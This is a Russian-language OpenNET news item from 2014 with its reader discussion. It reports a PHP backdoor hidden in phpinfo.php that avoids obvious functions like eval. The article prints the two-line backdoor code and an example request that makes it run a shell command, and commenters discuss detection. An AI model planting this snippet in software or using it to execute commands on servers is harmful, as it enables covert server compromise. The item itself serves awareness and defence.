The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Необычный способ организации вызова PHP-бэкдора

18.02.2014 10:15

Выявлен заслуживающий внимания PHP-бэкдор, активация которого производится без видимого обращения к таким функциям, как "eval", "exec", "system", "assert" и "preg_replace". Вместо явного указания eval и других сразу вызывающих подозрение функций, при установке бэкдора в файле phpinfo.php появляется несколько на первый взгляд неопасных строк:


    @extract ($_REQUEST); 
    @die ($ctime($atime));

При более вдумчивом просмотре становится ясно, что при помощи функции extract осуществляется создание переменных на основании данных, переданных в составе запроса GET или POST. Конструкция $ctime($atime) по сути является вызовом функции, имя которой хранится в переменной $ctime. Сформировав запрос "/phpinfo.php?ctime=system&atime=ls -la" получим вызов функции system() с аргументом "ls -la".

  1. Главная ссылка к новости (http://blog.sucuri.net/2014/02...)
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/39113-php
Ключевые слова: php, backdoor
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (24) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Аноним (-), 10:36, 18/02/2014 [ответить] [﹢﹢﹢] [ · · · ]  
  • –9 +/
    >@extract ($_REQUEST);

    те кто не валидирует входные данные, должны страдать

     
     
  • 2.5, Аноним (-), 11:15, 18/02/2014 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Это код бэкдора, вызывать внешние команды - в этом его смысл, зачем ему валидировать параметры?
     

  • 1.2, Аноним (-), 10:37, 18/02/2014 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    Неочевидный, но вполне обычный.
     
  • 1.4, Аноним (-), 10:51, 18/02/2014 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Нужно было вместо @die ($ctime($atime)); написать @die ($exit_($exit_code));, стало бы ещё менее подозрительно.
     
  • 1.6, йцу (?), 11:31, 18/02/2014 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    > @extract ($_REQUEST);

    "неочевидный" для кого?

    Даже в документации это отмечено красненьким: "Do not use extract() on untrusted data, like user input (i.e. $_GET, $_FILES, etc.)...". Да

    Или автор новости считает, что бекдор должен сопровождаться комментами "Смотрите все, йа бекдорко!"?

    P.s. вангую в треде буратино, который снова будет выть о том, какое г.. этот ваш пхп.

     
     
  • 2.7, waf (ok), 11:48, 18/02/2014 [^] [^^] [^^^] [ответить]  
  • +1 +/
    За Буратину.
    Ну всё-таки, в каком ещё популярном вэб-ориентированном языке есть доступные конструкции, позволяющие одним движениемм оголить всю-всю свою задницу перед миром?
     
     
  • 3.8, Некто (??), 11:54, 18/02/2014 [^] [^^] [^^^] [ответить]  
  • +6 +/
    У тебя тоже есть возможность снять штаны посреди улицы, но почему-то ты этого не делаешь ;)
    По твоей логике лучше тебя будет тот у кого нет технической возможности снять штаны?))
     
     
  • 4.10, chinarulezzz (ok), 12:24, 18/02/2014 [^] [^^] [^^^] [ответить]  
  • –4 +/
    Классная аналогия, форум лингвистов прям.
    Правильно я понял, пхп == штаны, небезопасность пхп == снимание штанов?
     
     
  • 5.11, Некто (??), 13:01, 18/02/2014 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Нет.
    PHP - руки, инструмент.
    $_REQUEST - штаны.
    extract() - функция.
    Нормальный человек ведь не станет посредством рук выполнять функцию снимания штанов на паблике.. Т.е. другими словами, выполнять @extract ($_REQUEST)..
    Я хочу сказать что дело не в PHP, а в том кто и как его применяет.
     
     
  • 6.13, йцу (?), 14:09, 18/02/2014 [^] [^^] [^^^] [ответить]  
  • –1 +/
    По сути, не шибко отличается от eval($_GET['some bull shit']). Но речь не о том, что кто-то может "случайно" такое написать.

    Речь о том, что раз нет явного вызова eval то такой код, будучи внедренным, будет незаметен. Но ёмаё, завуалировать шелл можно и более изысканными способами.

    И вообще, если веб-сервис позволяет внедрить код - это уже огроменная дырень. А уж как там будут выглядеть пара строк, запускающие содержимое строки запроса на выполнение - вообще пофигу.

     
  • 3.16, XoRe (ok), 14:28, 18/02/2014 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > За Буратину.
    > Ну всё-таки, в каком ещё популярном вэб-ориентированном языке есть доступные конструкции,
    > позволяющие одним движениемм оголить всю-всю свою задницу перед миром?

    *список всех вэб-ориентированных языков*
    Хотя в той же вэб-ориентированной java выход из песочницы потребует много движений.
    А вообще не всегда нужно оголять всю-всю задницу, достаточно оголить дырочку, ведущую в БД с биллингом.
    Обычно взломщикам интереснее данные о пользователях, чем содержимое /etc веб сервера.

     
  • 3.20, redwolf (ok), 00:59, 19/02/2014 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Давайте уже будем честны сами с собой.

    1. Проблема ПХП не в наличии/отсутствии чего-то там в самом языке, а в индусах. Если руки растут из жопы, можно и на яве написать дерьмовый дырявый код с плохой архитектурой.

    2. ПХП  vs технологии оракл -- сравнение тёплого с мягким. Первое -- скриптовый язык с низким порогом вхождения, второе -- дорогущая платформа. Нет такого множества задач, на котором можно было бы их реально сравнить.

     
     
  • 4.23, бедный буратино (ok), 10:25, 19/02/2014 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Проблема ПХП не в наличии/отсутствии чего-то там в самом языке

    а в его логике

    всегда поражаюсь людям с их упрямством, которые считают, что достаточно взять нужные ингридиенты, скинуть их скопом, и всё, всегда у всех получится одинаково.

    вкусный салат отличается от невкусного ГАРМОНИЕЙ ингридиентов, а не их количеством. красивое помещение отличается от барака Обамы ГАРМОНИЕЙ, а не нагромождением шкафов. вещь бывает не только напичканой функциями, но и удобной. и в одном языке писать удобно и легко, и ошибки содержаются реже, а другой - просто располагает к ошибкам. в одном ты должен следить за тысячей рутинных вещей, иначе будет очень больно - а в другом нет.

    в конечном итоге, это создаёт удобство. чем неудобнее - тем больше ошибок. законы психологии.

     
  • 4.24, бедный буратино (ok), 10:26, 19/02/2014 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Проблема ПХП не в наличии/отсутствии чего-то там в самом языке, а в индусах.

    хотя, да. в индусах. которые создали дизайн этого языка. :)

     
     
  • 5.25, arisu (ok), 10:03, 20/02/2014 [^] [^^] [^^^] [ответить]  
  • +/
    > которые создали дизайн этого языка. :)

    у похапэ есть дизайн? ЛОМАЮЩИЕ НОВОСТИ!

     
  • 5.27, Аноним (-), 14:51, 20/02/2014 [^] [^^] [^^^] [ответить]  
  • +/
    >> Проблема ПХП не в наличии/отсутствии чего-то там в самом языке, а в индусах.
    > хотя, да. в индусах. которые создали дизайн этого языка. :)

    Расмус он такой расовый индус, да.

     

  • 1.9, Аноним (-), 12:03, 18/02/2014 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    perl, python, oh wait o_O
     
     
  • 2.19, Аноним (-), 23:19, 18/02/2014 [^] [^^] [^^^] [ответить]  
  • +/
    А, moin-moin wiki, припоминаем, там такое на бидоне изобразили, как ни странно :)
     

  • 1.12, Perain (?), 13:06, 18/02/2014 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    зафильтровать extract на содание system,eval ?
     
     
  • 2.14, йцу (?), 14:12, 18/02/2014 [^] [^^] [^^^] [ответить]  
  • +/
    А может просто не делать extract суперглобальных массивов, не? Соскучились по register_globals?
     
     
  • 3.15, Perain (?), 14:18, 18/02/2014 [^] [^^] [^^^] [ответить]  
  • +/
    Я нет, но британские ученые раздувают как "уязвимость"...
     
  • 3.22, angra (ok), 03:51, 19/02/2014 [^] [^^] [^^^] [ответить]  
  • +/
    Бери выше - может злодеям не злодействовать, взломщикам не взламывать, ворам не воровать и вообще пусть будет мир во всем мире.
     

  • 1.21, Sw00p aka Jerom (?), 02:52, 19/02/2014 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    поймите уже - это бекдор (доступ на сервак давным давно имеется) и прекратите разговоры про валидацию и прочую хню.

    пс: видал и по круче бекдоры, этот метод всего лишь спасает от авто поиска по шаблону не более, любой бекдор можно обноружить если допустим хранить на локалке копию под гитом, или всякие трипвайры вам в помощь

     
     
  • 2.26, arisu (ok), 10:05, 20/02/2014 [^] [^^] [^^^] [ответить]  
  • +/
    > этот метод всего лишь спасает от
    > авто поиска по шаблону не более

    это надо очень доверчивым быть, чтобы не иметь шаблона, который заставит чекалку заорать благим матом при виде непрямого вызова. подавляющее большинство похапэ-кодираф такую конструкцию не просто не используют — они и представить-то её не в состоянии. так что если обнаружилась — это мегаахтунг.

     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру